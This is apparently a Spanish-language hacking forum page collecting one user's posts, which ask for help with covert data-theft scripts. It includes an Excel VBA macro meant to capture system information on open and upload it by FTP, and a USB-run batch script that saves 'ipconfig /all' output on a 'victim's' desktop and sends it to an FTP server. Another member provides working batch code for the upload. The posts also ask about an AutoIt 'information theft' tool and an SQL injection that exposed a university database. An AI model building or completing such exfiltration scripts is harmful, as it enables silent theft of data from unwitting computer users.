Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - Atomic

Páginas: [1]
1
Dudas y pedidos generales / [VBA] Ayuda con macro en Excel
« en: Febrero 05, 2016, 02:04:39 pm »
Buen día,

Tengo la siguientes dudas, espero y alguien me pueda ayudar.

Tengo una macro que genera un archivo txt en mis documentos, pero ¿como le puedo hacer para que el nombre del txt siempre sea diferente al generar el archivo? Esto con la finalidad de la sobrescritura del mismo, ya sea que se guarde con el hostname de nombre del txt.

Código: (VB) [Seleccionar]
Sub ip()
Dim programa As String
Dim Ide As Double
    On Error Resume Next
programa = "cmd.exe"
Ide = Shell("cmd.exe /k ipconfig > hostname.txt", vbNormalFocus)
    If Err <> 0 Then
        MsgBox "No se puede iniciar " & programa, vbCritical, " Error"
    End If

End Sub

En este código como puedo declarar que me lo guarde en el mismo txt de arriba
Código: (VB) [Seleccionar]
Function GetMyPublicIP() As String

    Dim HttpRequest As Object
   
    On Error Resume Next
    'Create the XMLHttpRequest object.
    Set HttpRequest = CreateObject("MSXML2.XMLHTTP")

    'Check if the object was created.
    If Err.Number <> 0 Then
        'Return error message.
        GetMyPublicIP = "Could not create the XMLHttpRequest object!"
        'Release the object and exit.
        Set HttpRequest = Nothing
        Exit Function
    End If
    On Error GoTo 0
   
    'Create the request - no special parameters required.
    HttpRequest.Open "GET", "http://myip.dnsomatic.com", False
   
    'Send the request to the site.
    HttpRequest.Send
       
    'Return the result of the request (the IP string).
    GetMyPublicIP = HttpRequest.ResponseText

End Function

Saludos y gracias de antemano.

2
Dudas y pedidos generales / Ayuda con VBA en excel
« en: Enero 28, 2016, 01:42:12 pm »
Buenos dias,

He estado tratando de hacer un excel que al momento de abrirlo capture la información del sistema mediante un shell y lo guarde en un txt en mis documentos, y que ya guardado ese txt lo suba a un servidor FTP o lo envie por correo.

Hasta el momento solo tengo el script VBA para generar el txt con el SYSTEMINFO pero no se como enviarlo via FTP o mail.

Entontre este script para el upload ftp pero no se como adaptarlo:

Código: (vb) [Seleccionar]
Public Sub FtpSend()

Dim vPath As String
Dim vFile As String
Dim vFTPServ As String
Dim fNum As Long

vPath = ThisWorkbook.Path
vFile = "YourFile.csv"
vFTPServ = "********"

'Mounting file command for ftp.exe
fNum = FreeFile()
Open vPath & "\FtpComm.txt" For Output As #fNum
Print #1, "user ***** *****" ' your login and password"
Print #1, "cd TargetDir"  'change to dir on server
Print #1, "bin" ' bin or ascii file type to send
Print #1, "put " & vPath & "\" & vFile & " " & vFile ' upload local filename to server file
Print #1, "close" ' close connection
Print #1, "quit" ' Quit ftp program
Close

Shell "ftp -n -i -g -s:" & vPath & "\FtpComm.txt " & vFTPServ, vbNormalNoFocus

SetAttr vPath & "\FtpComm.txt", vbNormal
Kill vPath & "\FtpComm.txt"

End Sub

Si alguien me pudiera orientar a adaptarlo, se los agradecería mucho. Gracias

3
Hacking ShowOff / Re:Base de datos de la upbc LOL
« en: Enero 07, 2016, 01:55:39 pm »
Muy buen aporte, pudieras explicar un poco mas como inyectaste el 'or' '=' para entender un poco mas como lograste accesar.

Saludos y gracias de antemano.

Puedes tener una idea de como funciona con este post.


Muchas Gracias, me queda mas claro

4
Hacking ShowOff / Re:Base de datos de la upbc LOL
« en: Enero 07, 2016, 01:25:02 pm »
Muy buen aporte, pudieras explicar un poco mas como inyectaste el 'or' '=' para entender un poco mas como lograste accesar.

Saludos y gracias de antemano.

5
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 15, 2015, 02:09:02 pm »
Aun sigue subiendo el .txt en blanco :(
Pero y el txt que te crea esta en blanco tambien?

Si, solo se genera el archivo .txt en el ftp pero sin contenido

Pues la verdad es que lo acabo de testear y como te dije funciona, con poner ipconfig /all>testip.txt en el OTRO archivo justo al principio.

ftpsubida.bat

Código: (dos) [Seleccionar]
open ftp.server
user
password
put "testip.txt"

Ejecutar.bat

Código: (dos) [Seleccionar]
ipconfig /all>testip.txt
ftp -s:ftpsubida.bat
exit

Si no te funciona es por otra cosa, pero los códigos rulan bien.

Entonces supongo que es el servidor FTP el que no me permite.
Estoy usando Hostinger, me pudieras recomendar de favor otro para hacer la prueba?

6
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 15, 2015, 12:58:20 pm »
Aun sigue subiendo el .txt en blanco :(
Pero y el txt que te crea esta en blanco tambien?

Si, solo se genera el archivo .txt en el ftp pero sin contenido

7
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 15, 2015, 11:53:45 am »
Aun sigue subiendo el .txt en blanco :(

8
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 14, 2015, 06:49:50 pm »
Es el mismo problema :(
Intente tambien de la siguiente manera para que se creara el archivo en el escritorio de la victima y posteriormente se subiera al FTP, pero me aparece el error de que no encuentra el archivo cuando lo quiere subir por FTP, pero si esta el archivo en el escritorio.
Script2
Código: (dos) [Seleccionar]
cmd.exe /c ipconfig /all>%userprofile%\Desktop\testip.txt
open ftp.server
User
Password
ascii
mput "%userprofile%\Desktop\testip.txt"

Código: (dos) [Seleccionar]
ftp -n -s:script2.bat
exit

9
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 14, 2015, 06:24:51 pm »
Ya lo intente pero sigue igual :(
No se porque me crea el .txt pero aparece sin contenido

10
Dudas y pedidos generales / [SOLUCIONADO] Ayuda con Batch
« en: Septiembre 14, 2015, 01:05:34 pm »
Buenos días,

Necesito apoyo con este script en Batch.

Lo que busco es tener un batch que al ejecutarlo por medio de usb se pueda correr un ipconfig /all y genere un archivo .txt y a la vez lo suba por FTP.

Este es el codigo1(ftpsubida.bat)- Genera un archivo txt con el ipconfig /all
Código: (dos) [Seleccionar]
cmd.exe /c ipconfig /all>testip.txt
open ftp.server
user
password
ascii
put "testip.txt"


Codigo2 (ejecutar.bat) - Subida al FTP
Código: (dos) [Seleccionar]
ftp -s:ftpsubida.bat
exit

El detalle esta en cuando se sube el archivo ftp no contiene nada de información.

Sabran alguna solución a esto?

Gracias de antemano.

11
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 29, 2015, 01:31:27 pm »
Hola @ANTRAX

Intente de las ultimas 2 formas que me pasaste, pero aun me sale el mismo error.

Seguiré investigando por que ese código es buenísimo.

Saludos.

12
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 22, 2015, 06:08:26 pm »
Lo intente agregándolo después de los #include por ejemplo así:


$_DllPath = @ProgramFilesDir & '\F:\filesystem.dll'
RunWait ( @Systemdir & '\regsvr32.exe "' & $_DllPath & '" /s' )

Donde F: suponiendo que es la letra del USB pero aun me aparece el error del filesystem.dll
También lo intente agregando el dll al disco C: pero sigue apareciendo el error.

13
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 22, 2015, 03:56:58 pm »
Si y aun no logro nada, no se si sea necesario registrar el Filesys.dll (regsvr32 filesystem.dll ) pero con algún comando (que no conozco) en autoit.

14
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 22, 2015, 03:37:23 pm »
Muchas gracias @ANTRAX  :D

Es un excelente aporte @0b3Y , pero creo que si sera difícil robar información con la USB, ya que si el dispositivo objetivo marca el error de Filesys.dll no se podrá ejecutar :S
He probado en 3 equipos diferentes pero en los 3 encuentro la misma falla  :-\


Saludos.

15
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 21, 2015, 09:42:51 am »
Hola, a mi me parece con este error: "The Filesys.dll is needed to the correct function of the program"

¿Como lo puedo solucionar?

Gracias

Páginas: [1]